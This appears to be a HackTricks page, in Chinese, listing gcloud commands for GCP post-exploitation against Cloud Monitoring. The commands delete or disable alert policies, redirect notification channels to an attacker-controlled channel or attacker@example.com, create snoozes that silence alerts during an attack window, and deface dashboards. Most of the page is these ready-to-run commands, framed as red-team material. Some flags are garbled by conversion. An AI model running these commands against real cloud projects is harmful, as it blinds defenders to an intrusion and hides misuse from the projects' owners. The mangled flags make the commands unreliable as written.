GCP - Monitoring Post Exploitation

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

监控

更多信息请参见:

GCP - Monitoring Enum

关于其他干扰日志的方法,请参见:

GCP - Logging Post Exploitation

monitoring.alertPolicies.delete

删除 alert policy:

删除 alert policy ```bash gcloud alpha monitoring policies delete ```

monitoring.alertPolicies.update

中断警报策略:

中断警报策略 ```bash # Disable policy gcloud alpha monitoring policies update --no-enabled

Remove all notification channels

gcloud alpha monitoring policies update –clear-notification-channels

Chnage notification channels

gcloud alpha monitoring policies update –set-notification-channels=ATTACKER_CONTROLLED_CHANNEL

Modify alert conditions

gcloud alpha monitoring policies update –policy=“{ ‘displayName’: ‘New Policy Name’, ‘conditions’: [ … ], ‘combiner’: ‘AND’, … }”

or use –policy-from-file

</details>

### `monitoring.dashboards.update`

修改仪表板以使其失效:

<details>

<summary>使仪表板失效</summary>
```bash
# Disrupt dashboard
gcloud monitoring dashboards update <dashboard> --config='''
displayName: New Dashboard with New Display Name
etag: 40d1040034db4e5a9dee931ec1b12c0d
gridLayout:
widgets:
- text:
content: Hello World
'''

monitoring.dashboards.delete

删除仪表板:

删除仪表板 ```bash # Delete dashboard gcloud monitoring dashboards delete ```

monitoring.snoozes.create

通过创建 snoozer 来阻止策略生成告警:

创建 snoozer 以停止告警 ```bash # Stop alerts by creating a snoozer gcloud monitoring snoozes create --display-name="Maintenance Week" \ --criteria-policies="projects/my-project/alertPolicies/12345,projects/my-project/alertPolicies/23451" \ --start-time="2023-03-01T03:00:00.0-0500" \ --end-time="2023-03-07T23:59:59.5-0500" ```

monitoring.snoozes.update

更新 snoozer 的时间设置,以防止在 attacker 感兴趣的时间段内创建警报:

更新 snoozer 的时间设置 ```bash # Modify the timing of a snooze gcloud monitoring snoozes update --start-time=START_TIME --end-time=END_TIME

odify everything, including affected policies

gcloud monitoring snoozes update –snooze-from-file=

</details>

### `monitoring.notificationChannels.delete`

删除已配置的通知通道:

<details>

<summary>删除通知通道</summary>
```bash
# Delete channel
gcloud alpha monitoring channels delete <channel>

monitoring.notificationChannels.update

更新通道的标签以干扰它:

更新通知通道标签 ```bash # Delete or update labels, for example email channels have the email indicated here gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com ```

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks